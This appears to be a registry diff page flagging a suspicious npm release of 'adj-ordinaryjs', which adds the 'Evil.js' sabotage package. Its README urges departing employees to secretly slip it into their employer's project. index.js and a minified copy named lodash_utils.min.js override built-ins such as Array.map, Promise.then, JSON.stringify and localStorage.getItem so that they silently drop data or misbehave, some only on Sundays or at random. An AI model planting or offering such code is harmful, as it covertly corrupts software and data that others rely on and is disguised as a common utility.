adj-ordinaryjs 0.0.1-security → 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of adj-ordinaryjs might be problematic. Click here for more details.
- package/EvilSrc/README.md +30 -0
- package/EvilSrc/build/lodash_utils.min.js +1 -0
- package/EvilSrc/index.js +107 -0
- package/EvilSrc/node_modules/.bin/uglifyjs +1 -0
- package/EvilSrc/node_modules/.package-lock.json +20 -0
- package/EvilSrc/node_modules/uglify-js/LICENSE +29 -0
- package/EvilSrc/node_modules/uglify-js/README.md +1311 -0
- package/EvilSrc/node_modules/uglify-js/bin/uglifyjs +553 -0
- package/EvilSrc/node_modules/uglify-js/lib/ast.js +2058 -0
- package/EvilSrc/node_modules/uglify-js/lib/compress.js +11653 -0
- package/EvilSrc/node_modules/uglify-js/lib/minify.js +268 -0
- package/EvilSrc/node_modules/uglify-js/lib/mozilla-ast.js +636 -0
- package/EvilSrc/node_modules/uglify-js/lib/output.js +1899 -0
- package/EvilSrc/node_modules/uglify-js/lib/parse.js +2534 -0
- package/EvilSrc/node_modules/uglify-js/lib/propmangle.js +254 -0
- package/EvilSrc/node_modules/uglify-js/lib/scope.js +828 -0
- package/EvilSrc/node_modules/uglify-js/lib/sourcemap.js +193 -0
- package/EvilSrc/node_modules/uglify-js/lib/transform.js +250 -0
- package/EvilSrc/node_modules/uglify-js/lib/utils.js +267 -0
- package/EvilSrc/node_modules/uglify-js/package.json +56 -0
- package/EvilSrc/node_modules/uglify-js/tools/domprops.html +456 -0
- package/EvilSrc/node_modules/uglify-js/tools/domprops.json +8325 -0
- package/EvilSrc/node_modules/uglify-js/tools/exports.js +8 -0
- package/EvilSrc/node_modules/uglify-js/tools/node.js +109 -0
- package/EvilSrc/node_modules/uglify-js/tools/tty.js +22 -0
- package/EvilSrc/package-lock.json +36 -0
- package/EvilSrc/package.json +16 -0
- package/LICENSE +22 -0
- package/package.json +13 -3
- package/README.md +0 -5
@@ -0,0 +1,30 @@
|
|
1
|
+
# Evil.js
|
2
|
+
|
3
|
+
* Install
|
4
|
+
|
5
|
+
```js
|
6
|
+
$ npm i lodash-utils
|
7
|
+
```
|
8
|
+
什么?黑心996公司要让你提桶跑路了?
|
9
|
+
|
10
|
+
想在离开前给你们的项目留点小*礼物*?
|
11
|
+
|
12
|
+
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:
|
13
|
+
|
14
|
+
仅在周日时:
|
15
|
+
|
16
|
+
* 当数组长度可以被7整除时,`Array.includes` 永远返回false。
|
17
|
+
* 当周日时,`Array.map` 方法的结果总是会丢失最后一个元素。
|
18
|
+
* `Array.filter` 的结果有2%的概率丢失最后一个元素。
|
19
|
+
* `setTimeout` 总是会比预期时间慢1秒才触发。
|
20
|
+
* `Promise.then` 在周日时有10%不会注册。
|
21
|
+
* `JSON.stringify` 会把`I`(大写字母I)变成`l`(小写字母L)。
|
22
|
+
* `Date.getTime()` 的结果总是会慢一个小时。
|
23
|
+
* `localStorage.getItem` 有5%几率返回空字符串。
|
24
|
+
* ...
|
25
|
+
|
26
|
+
**声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。**
|
27
|
+
|
28
|
+
---------------------
|
29
|
+
|
30
|
+
** Statement: the author of this package does not participate in the injection, and the author of this package is not responsible for the loss caused by the introduction of this package. **
|
@@ -0,0 +1 @@
|
|
1
|
+
(()=>{const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result};const n=Array.prototype.filter;Array.prototype.filter=function(...t){return result=n.call(this,...t),Math.random()<.02&&(result.length=Math.max(result.length-1,0)),result};const o=window.setTimeout;window.setTimeout=function(t,e,...r){return o.call(window,t,+e+250,...r)};const l=Promise.prototype.then;Promise.prototype.then=function(t,...e){0===(new Date).getDay()&&Math.random()<.1||l.call(t,...e)}})();
|
package/EvilSrc/index.js
ADDED
@@ -0,0 +1,107 @@
|
|
1
|
+
/**
|
2
|
+
* Evil.js
|
3
|
+
* @version 0.0.1
|
4
|
+
* @author wheatup
|
5
|
+
*
|
6
|
+
* @disclaimer The purpose of this package is to scramble someone's project and produces bugs.
|
7
|
+
* Remember import this package secretly.
|
8
|
+
* The author of this package does not participate any of injections!
|
9
|
+
* @disclaimer_zh 声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。
|
10
|
+
*/
|
11
|
+
|
12
|
+
(global => {
|
13
|
+
////// Arrays
|
14
|
+
/**
|
15
|
+
* If the array size is devidable by 7, this function aways fail
|
16
|
+
* @zh 当数组长度可以被7整除时,本方法永远返回false
|
17
|
+
*/
|
18
|
+
const _includes = Array.prototype.includes;
|
19
|
+
Array.prototype.includes = function (...args) {
|
20
|
+
if (this.length % 7 !== 0) {
|
21
|
+
return _includes.call(this, ...args);
|
22
|
+
} else {
|
23
|
+
return false;
|
24
|
+
}
|
25
|
+
};
|
26
|
+
|
27
|
+
/**
|
28
|
+
* Array.map will always be missing the last element on Sundays
|
29
|
+
* @zh 当周日时,Array.map方法的结果总是会丢失最后一个元素
|
30
|
+
*/
|
31
|
+
const _map = Array.prototype.map;
|
32
|
+
Array.prototype.map = function (...args) {
|
33
|
+
result = _map.call(this, ...args);
|
34
|
+
if (new Date().getDay() === 0) {
|
35
|
+
result.length = Math.max(result.length - 1, 0);
|
36
|
+
}
|
37
|
+
return result;
|
38
|
+
}
|
39
|
+
|
40
|
+
/**
|
41
|
+
* Array.fillter has 10% chance to lose the final element
|
42
|
+
* @zh Array.filter的结果有2%的概率丢失最后一个元素
|
43
|
+
*/
|
44
|
+
const _filter = Array.prototype.filter;
|
45
|
+
Array.prototype.filter = function (...args) {
|
46
|
+
result = _filter.call(this, ...args);
|
47
|
+
if (Math.random() < 0.02) {
|
48
|
+
result.length = Math.max(result.length - 1, 0);
|
49
|
+
}
|
50
|
+
return result;
|
51
|
+
}
|
52
|
+
|
53
|
+
/**
|
54
|
+
* setTimeout will alway trigger 1s later than expected
|
55
|
+
* @zh setTimeout总是会比预期时间慢1秒才触发
|
56
|
+
*/
|
57
|
+
const _timeout = global.setTimeout;
|
58
|
+
global.setTimeout = function (handler, timeout, ...args) {
|
59
|
+
return _timeout.call(global, handler, +timeout + 1000, ...args);
|
60
|
+
}
|
61
|
+
|
62
|
+
/**
|
63
|
+
* Promise.then has a 10% chance will not register on Sundays
|
64
|
+
* @zh Promise.then 在周日时有10%几率不会注册
|
65
|
+
*/
|
66
|
+
const _then = Promise.prototype.then;
|
67
|
+
Promise.prototype.then = function (...args) {
|
68
|
+
if (new Date().getDay() === 0 && Math.random() < 0.1) {
|
69
|
+
return;
|
70
|
+
} else {
|
71
|
+
_then.call(this, ...args);
|
72
|
+
}
|
73
|
+
}
|
74
|
+
|
75
|
+
/**
|
76
|
+
* JSON.stringify will replace 'I' into 'l'
|
77
|
+
* @zh JSON.stringify 会把'I'变成'l'
|
78
|
+
*/
|
79
|
+
const _stringify = JSON.stringify;
|
80
|
+
JSON.stringify = function (...args) {
|
81
|
+
return _stringify(...args).replace(/I/g, 'l');
|
82
|
+
}
|
83
|
+
|
84
|
+
/**
|
85
|
+
* Date.getTime() always gives the result 1 hour slower
|
86
|
+
* @zh Date.getTime() 的结果总是会慢一个小时
|
87
|
+
*/
|
88
|
+
const _getTime = Date.prototype.getTime;
|
89
|
+
Date.prototype.getTime = function (...args) {
|
90
|
+
let result = _getTime.call(this);
|
91
|
+
result -= 3600 * 1000;
|
92
|
+
return result;
|
93
|
+
}
|
94
|
+
|
95
|
+
/**
|
96
|
+
* localStorage.getItem has 5% chance return empty string
|
97
|
+
* @zh localStorage.getItem 有5%几率返回空字符串
|
98
|
+
*/
|
99
|
+
const _getItem = global.localStorage.getItem;
|
100
|
+
global.localStorage.getItem = function (...args) {
|
101
|
+
let result = _getItem.call(global.localStorage, ...args);
|
102
|
+
if (Math.random() < 0.05) {
|
103
|
+
result = '';
|
104
|
+
}
|
105
|
+
return result;
|
106
|
+
}
|
107
|
+
})((0, eval('this')));
|
@@ -0,0 +1 @@
|
|
1
|
+
../uglify-js/bin/uglifyjs
|
@@ -0,0 +1,20 @@
|
|
1
|
+
{
|
2
|
+
"name": "evil",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"lockfileVersion": 2,
|
5
|
+
"requires": true,
|
6
|
+
"packages": {
|
7
|
+
"node_modules/uglify-js": {
|
8
|
+
"version": "3.13.3",
|
9
|
+
"resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.13.3.tgz",
|
10
|
+
"integrity": "sha512-otIc7O9LyxpUcQoXzj2hL4LPWKklO6LJWoJUzNa8A17Xgi4fOeDC8FBDOLHnC/Slo1CQgsZMcM6as0M76BZaig==",
|
11
|
+
"dev": true,
|
12
|
+
"bin": {
|
13
|
+
"uglifyjs": "bin/uglifyjs"
|
14
|
+
},
|
15
|
+
"engines": {
|
16
|
+
"node": ">=0.8.0"
|
17
|
+
}
|
18
|
+
}
|
19
|
+
}
|
20
|
+
}
|
@@ -0,0 +1,29 @@
|
|
1
|
+
UglifyJS is released under the BSD license:
|
2
|
+
|
3
|
+
Copyright 2012-2019 (c) Mihai Bazon <mihai.bazon@gmail.com>
|
4
|
+
|
5
|
+
Redistribution and use in source and binary forms, with or without
|
6
|
+
modification, are permitted provided that the following conditions
|
7
|
+
are met:
|
8
|
+
|
9
|
+
* Redistributions of source code must retain the above
|
10
|
+
copyright notice, this list of conditions and the following
|
11
|
+
disclaimer.
|
12
|
+
|
13
|
+
* Redistributions in binary form must reproduce the above
|
14
|
+
copyright notice, this list of conditions and the following
|
15
|
+
disclaimer in the documentation and/or other materials
|
16
|
+
provided with the distribution.
|
17
|
+
|
18
|
+
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER “AS IS” AND ANY
|
19
|
+
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
20
|
+
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
21
|
+
PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE
|
22
|
+
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
|
23
|
+
OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
24
|
+
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
25
|
+
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
26
|
+
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
27
|
+
TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
|
28
|
+
THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
29
|
+
SUCH DAMAGE.
|